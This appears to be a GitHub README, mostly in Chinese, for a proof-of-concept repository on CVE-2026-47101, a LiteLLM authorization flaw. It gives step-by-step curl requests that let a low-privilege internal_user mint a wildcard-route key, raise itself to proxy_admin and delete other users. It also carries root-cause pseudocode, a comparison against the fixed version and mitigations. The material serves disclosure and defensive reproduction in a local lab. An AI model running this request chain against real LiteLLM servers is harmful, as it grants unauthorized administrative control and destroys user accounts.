learner202649/CVE-2026-47101-PoC
GitHub: learner202649/CVE-2026-47101-PoC
Stars: 0 | Forks: 0
# CVE-2026-47101 — LiteLLM Privilege Escalation via `/key/generate` + `/user/update`
| Field | Value |
|-------|-------|
| **CVE** | **CVE-2026-47101** |
| **CVSS v3.1** | **8.8 (HIGH)** — `AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H` |
| **CWE** | CWE-863 (Incorrect Authorization) |
| **Affected** | LiteLLM **< 1.83.14**(确认于 v1.82.6) |
| **Fixed** | **v1.83.14+**(新增 allowed_routes 角色校验) |
| **Published** | 2026-05-21 |
| **Discovered by** | Fenix Qiao (13ph03nix) — Obsidian Security |
| **Links** | [NVD](https://nvd.nist.gov/vuln/detail/CVE-2026-47101) |
## Description
LiteLLM 的 `/key/generate` 端点用于生成 API key,`/user/update` 用于更新用户属性。
这两个端点的授权检查存在三个连贯的缺陷,可被低权限用户串联利用:
1. **`/key/generate` 不验证 `allowed_routes`** — 任何角色(包括 `internal_user`)均可请求 `["/*"]` 通配符路由
2. **路由检查回退到 `allowed_routes` 通配符匹配** — 生成的通配符 key 可访问所有管理端点
3. **`/user/update` 允许自修改 `user_role` 字段** — 利用通配符 key 可将自身角色提升为 `proxy_admin`
### 攻击链
internal_user
→ POST /key/generate {"allowed_routes": ["/*"]}
→ 获得通配符 API key
→ POST /user/update {"user_id": "...", "user_role": "proxy_admin"}
→ 角色提升为 proxy_admin
→ GET /user/list (使用通配符 key)
→ 验证管理员访问权限
## Proof of Concept
### 环境准备
# 1. 启动 PostgreSQL + 有漏洞的 LiteLLM(v1.82.6,digest 固定)
docker compose up -d litellm
# 等待服务就绪(约 10-30 秒)
sleep 15
### 确认服务运行
# 检查容器日志
docker logs litellm-privesc 2>&1 | tail -10
预期输出应包含 `Uvicorn running on http://0.0.0.0:4000` 等启动成功的日志。
### Step 1: 创建 internal_user 账户
使用 master key 创建一个低权限的 `internal_user` 账户:
curl -s -X POST http://localhost:4000/user/new \
-H "Authorization: Bearer sk-litellm-master-key" \
-H "Content-Type: application/json" \
-d '{"role": "internal_user"}'
预期输出:
{"user_id":"xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx","key":"sk-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"}
记下返回的 `user_id` 和 `key`,后续步骤需要用到。
### Step 2: 生成通配符路由的 API key
以 `internal_user` 身份调用 `/key/generate`,请求带 `["/*"]` 通配符路由的 API key:
# 将 sk-internal-user-key 替换为上一步获得的 key
curl -s -X POST http://localhost:4000/key/generate \
-H "Authorization: Bearer sk-internal-user-key" \
-H "Content-Type: application/json" \
-d '{"allowed_routes": ["/*"]}'
预期输出:
{"key":"sk-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx","allowed_routes":["/*"]}
### Step 3: 权限提升至 proxy_admin
使用通配符路由 key 调用 `/user/update`,将用户角色提升为 `proxy_admin`:
curl -s -X POST http://localhost:4000/user/update \
-H "Authorization: Bearer sk-wildcard-key" \
-H "Content-Type: application/json" \
-d '{"user_id": "your-user-id", "user_role": "proxy_admin"}'
预期输出:
{"user_id":"xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx","data":{"user_role":"proxy_admin",...}}
### Step 4: 验证管理员访问权限
通过 `/user/list` 端点验证角色提升生效:
curl -s -X GET http://localhost:4000/user/list \
-H "Authorization: Bearer sk-wildcard-key"
预期输出:
{"users":[{"user_id":"xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx","user_role":"proxy_admin",...}]}
### Step 5: 扩展 — 删除管理员用户
利用获得的 `proxy_admin` 权限,可以通过 `/user/delete` 删除任意用户:
curl -s -X POST http://localhost:4000/user/delete \
-H "Authorization: Bearer sk-wildcard-key" \
-H "Content-Type: application/json" \
-d '{"user_ids": ["user-id-to-delete"]}'
预期输出:
1
### 一键复现
以上步骤已整合为 `demo.sh`,可直接执行:
# 完整复现(包含步骤 1-5)
bash demo.sh
# 同时测试修复版本对比
bash demo.sh --fixed
## Fixed Version Verification
启动修复版本(v1.83.14-stable)验证漏洞已被修复:
# 启动修复版本
docker compose --profile fixed up -d litellm-fixed
# 等待就绪
sleep 15
创建 internal_user:
FIXED_USER_KEY=$(curl -s -X POST http://localhost:4001/user/new \
-H "Authorization: Bearer sk-litellm-master-key" \
-H "Content-Type: application/json" \
-d '{"role": "internal_user"}' | \
python3 -c "import sys,json; print(json.load(sys.stdin).get('key',''))")
echo "Fixed user key: $FIXED_USER_KEY"
尝试生成通配符路由的 key(预期被阻止):
curl -s -X POST http://localhost:4001/key/generate \
-H "Authorization: Bearer $FIXED_USER_KEY" \
-H "Content-Type: application/json" \
-d '{"allowed_routes": ["/*"]}'
预期输出(修复版本阻止越权请求):
{"error":{"message":"Not allowed","type":"auth_error","code":"403"}}
与有漏洞版本对比:
| 测试场景 | 有漏洞版本 (v1.82.6) | 修复版本 (v1.83.14) |
|----------|---------------------|---------------------|
| internal_user 请求 `["/*"]` | ✅ 成功生成通配符 key | ❌ 被阻止(HTTP 403) |
| 通配符 key 修改 user_role | ✅ 成功提升为 proxy_admin | ❌ 被阻止 |
| 通配符 key 访问 /user/list | ✅ 成功获取用户列表 | ❌ 被阻止 |
## Vulnerable Endpoints
### `POST /key/generate`
生成新的 API key。`allowed_routes` 参数用于限制 key 可访问的端点路由列表。
| Field | Type | Required | Description |
|-------|------|----------|-------------|
| `allowed_routes` | array | No | 允许的路由列表,如 `["/*"]` 表示所有路由 |
### `POST /user/update`
更新用户属性,包括 `user_role` 字段。
| Field | Type | Required | Description |
|-------|------|----------|-------------|
| `user_id` | string | Yes | 要更新的用户 ID |
| `user_role` | string | Yes | 新角色(如 `proxy_admin`) |
## Exploitation Technique
### Step 1: 生成通配符路由的 API key
作为 `internal_user`,调用 `/key/generate` 请求带 `["/*"]` 的 key:
POST /key/generate
Authorization: Bearer sk-internal-user-key
Content-Type: application/json
{"allowed_routes": ["/*"]}
响应中包含新的 API key,该 key 拥有通配符路由权限。
### Step 2: 提升角色为 proxy_admin
使用通配符 key 调用 `/user/update`:
POST /user/update
Authorization: Bearer sk-wildcard-key
Content-Type: application/json
{"user_id": "target-user-id", "user_role": "proxy_admin"}
### Step 3: 验证管理员权限
GET /user/list
Authorization: Bearer sk-wildcard-key
## Root Cause Analysis
漏洞根因位于三处独立的授权检查缺失:
### 1. `/key/generate` — 缺少 allowed_routes 角色校验
`/key/generate` 端点接受 `allowed_routes` 参数并直接将其与 key 关联,**不对请求者的角色进行校验**。即使是 `internal_user` 也可以请求管理员级别的路由权限。
# 有漏洞的伪代码 — 未校验角色
@app.post("/key/generate")
async def generate_key(params, user_api_key_dict):
# 仅验证了 API key 有效性
# 未检查 user_role 是否允许请求 allowed_routes
allowed_routes = params.get("allowed_routes", [])
new_key = create_key(user=user, allowed_routes=allowed_routes)
return {"key": new_key}
### 2. 路由授权回退到 allowed_routes 通配符匹配
中间件在检查路由权限时,若用户角色级授权检查失败,会**回退到检查 API key 的 `allowed_routes` 列表**。由于 `["/*"]` 匹配所有路由,所有管理端点均被放行。
# 有漏洞的伪代码 — 路由检查回退逻辑
async def authorize_request(request, api_key):
# 用户角色检查失败后回退到 allowed_routes
if not user_role_authorized(request, api_key.user):
# 检查 allowed_routes — ["/*"] 匹配所有
if not any(match_route(route, request.path) for route in api_key.allowed_routes):
return HTTP_403
return HTTP_200
### 3. `/user/update` — 允许自修改 user_role
`/user/update` 端点更新用户属性时,**允许用户修改自己的 `user_role` 字段**,未做限制。只有 `proxy_admin` 角色应有权修改用户角色。
# 有漏洞的伪代码 — 未限制 user_role 修改
@app.post("/user/update")
async def update_user(params, user_api_key_dict):
user_id = params.get("user_id")
updates = {}
if "user_role" in params:
updates["user_role"] = params["user_role"] # 未做权限校验!
update_user_in_db(user_id, updates)
return {"user_id": user_id, "data": updates}
## Patch Analysis (v1.83.14)
修复版本在以下三个方面增加了授权检查:
1. **`/key/generate`** — 新增 `allowed_routes` 参数校验:普通用户不能请求管理员级别的路由权限
2. **路由授权** — 修复回退逻辑,确保用户角色检查优先级高于 `allowed_routes`
3. **`/user/update`** — 限制 `user_role` 字段修改权限:仅 `proxy_admin` 可以修改用户角色
## Repository Structure
CVE-2026-47101/
├── README.md # This file
├── CVE-2026-47101_漏洞复现报告.docx # Reproduction report (Chinese)
├── docker-compose.yml # PostgreSQL + vulnerable/fixed LiteLLM
├── config.yaml # LiteLLM config with database connection
├── requirements.txt # Python dependencies
├── demo.sh # One-click reproduction script
├── exploit/
│ ├── exploit.py # Python exploit script
│ └── payload.py # Payload builders
├── docs/
└── screenshots/
## Mitigation
1. **Upgrade** to LiteLLM **v1.83.14+** (fixed authorization checks)
2. **Restrict** API key privileges — enforce least privilege for `allowed_routes`
3. **Audit** existing users and keys for signs of privilege escalation
4. **Monitor** `/user/update` calls with `user_role` changes for anomalous activity
## References
- [NVD Detail](https://nvd.nist.gov/vuln/detail/CVE-2026-47101)
- [GitHub Security Advisory](https://github.com/BerriAI/litellm/security/advisories)
- [Obsidian Security Advisory](https://www.obsidiansecurity.com/blog)